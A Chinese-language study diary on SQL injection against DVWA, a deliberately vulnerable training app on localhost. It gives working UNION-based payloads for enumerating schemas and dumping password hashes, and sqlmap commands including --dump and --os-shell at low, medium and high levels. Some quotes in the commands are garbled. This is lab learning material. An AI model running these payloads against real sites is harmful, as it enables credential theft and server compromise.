DVWA學習日記-6 SQL回顯注入

SQL回顯注入
概述
命令注入漏洞和sql注入漏洞都是用把注入的數據當做代碼來執行,區別在於命令注入漏洞注入的是系統命令,sql注入的是sql語句

sql語句就是操作數據庫的語句,就是通過WEB操作在數據庫執行任意SQL語句,所謂的sql注入漏洞是非常普遍的安全漏洞,本筆記是sql回顯注入,就是會把sql注入數據庫執行結果顯示在頁面上

準備
Firefox
DVWA
Hackbar
Firebug
Tamper Data
SQLMAP

手工實戰
1.首先國際慣例正常操作
輸入1
在這裏插入圖片描述
2.猜測一下sql語句
select firstname,surname from xxx
select firstname,sunname from xxx where userid=我們輸入的id

3.探測是否存在漏洞
輸入1’ 回顯了報錯
在這裏插入圖片描述
4.三種注入POC

...where user_id = $id	//沒有引號 可以直接使用下面拼接語句
...where user_id = 1 or 1024=1024		//1024=1024爲真

...where user_id = '$id'		//單引號 可以使用下面拼接語句
...where user_id = '1' or '1024'='1024'

...where user_id = "$id"		//雙引號 可以使用下面拼接語句
...where user_id = "1" or "1024" ="1024"

5.確定注入POC
首先嚐試數字型
1 or 1024=1024 執行不成功
在這裏插入圖片描述
嘗試單引號
1’or ‘1024’='1024 執行成功
在這裏插入圖片描述
嘗試雙引號 執行失敗
1" or “1024”=“1024”
在這裏插入圖片描述
3.我們確定了是單引號閉合的
小技巧:三種註釋符
在sql注入中通常需要閉合,如果語句比較複雜,我們會使用註釋符號閉合

#(忽略)	井號後面的都可以忽略掉(在url中#號區分常編碼%23)
--(忽略) 與井號類似(注意短線短線空格)
/*(忽略)*/ 在sql注入中一般不是繞過的話,不會使用,多行註釋,至少兩處輸入,/**/注入中常用來作爲空格

4.確定查詢字段數
首先要先給id=1’報錯,否則會變成查詢語句
1’ order by 1#
1’ order by 2#
1’ order by 3#
在這裏插入圖片描述
5.確認查詢字段數
發現異常,說明字段數小於3也就是字段數爲2
在這裏插入圖片描述
6.確定回顯點
id=1’ union select 1,2#
在這裏插入圖片描述
7.查詢數據庫信息
1’ union select @@version,@@datadir#
將1,2字段分別替換成@@version和@@datadir
成功獲取在這裏插入圖片描述
再利用user(),database()查看用戶名和數據庫名
在這裏插入圖片描述
8.首先我們知道了數據庫,就要知道數據表
數據庫名:dvwa
查詢表名:
查詢table_name 在系統庫裏的tables表,條件是table表_schema的架構

1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’

這裏我們知道了表名叫users
在這裏插入圖片描述

9.查詢列名
查找列名在系統庫裏的字段表,條件是表名是users

id?=1’ union select column_name from information_schema.columns where table_name=’users‘#
這裏我們發現了敏感信息
在這裏插入圖片描述
10.查詢用戶名和密碼
1’ union select user,password from users#
在這裏插入圖片描述
11獲取明文密碼
http://www.cmd5.com/
在這裏插入圖片描述
12.文件讀取
使用load_file函數
在這裏插入圖片描述
13.隨便
自動化實戰
sqlmap
攻擊參數:-p
因爲我們有登陸界面所以需要–cookies的參數

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a

在這裏插入圖片描述
14.當前用戶和數據庫名
後面添加了–current-user --current-db
獲取了用戶

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a --current-user --current-db

在這裏插入圖片描述
15.查詢表名
發現有兩個表,一個guestbook和users

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables

在這裏插入圖片描述
16.查找列名

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -columns

在這裏插入圖片描述
17.用戶名密碼
sqlmap自動破解md5

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --dump

在這裏插入圖片描述

獲取webshell

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --os-shell

在這裏插入圖片描述
18.進入中等難度
發現不再是文本框了,點擊提交嘗試正常操作
發現了是個post的請求,發現參數這兩個
在這裏插入圖片描述
19.我們這裏使用到tamperdata插件來改包
在這裏插入圖片描述
20.修改數據包
修改爲union select user,password from users#
在這裏插入圖片描述
結果執行失敗
在這裏插入圖片描述
21.發現我們的單引號被轉義成反斜槓
嘗試其他注入POC
1" or “1024”=“1024” 失敗
1’ or ‘1024’=‘1024’ 失敗
1 or 1024=1024 成功
在這裏插入圖片描述
21.數字型注入
在這裏插入圖片描述
22.列表名
1 union select 1,table_name from information.tables where table_schema =‘dvwa’#
我們發現這個也會有單引號會轉義的
我們可以使用hex編碼進行轉義
得到
在這裏插入圖片描述
得到0x64767761
在這裏插入圖片描述
23.最後重新發包
1 union select 1,table_name from information_schema.tables where table_schema =0x64767761#
在這裏插入圖片描述
查看源代碼
轉義特殊字符
在這裏插入圖片描述

24.中等難度sqlmap
比簡單的多了–data,執行成功

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f"

在這裏插入圖片描述
25.進入高難度模式
首先正常操作,發現是一個超鏈接,點進去
在這裏插入圖片描述
26.發現另一個頁面輸入內容,原頁面會顯示數據
在這裏插入圖片描述
27.先確定注入POC
首先使用單引號 執行成功
在這裏插入圖片描述
查看源代碼
在這裏插入圖片描述

28.最後sqlmap
多使用到的參數就是–second-order

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/"

在這裏插入圖片描述
29.獲取用戶名密碼

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/" -D dvwa -T users -C 
"user,password" --dump

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章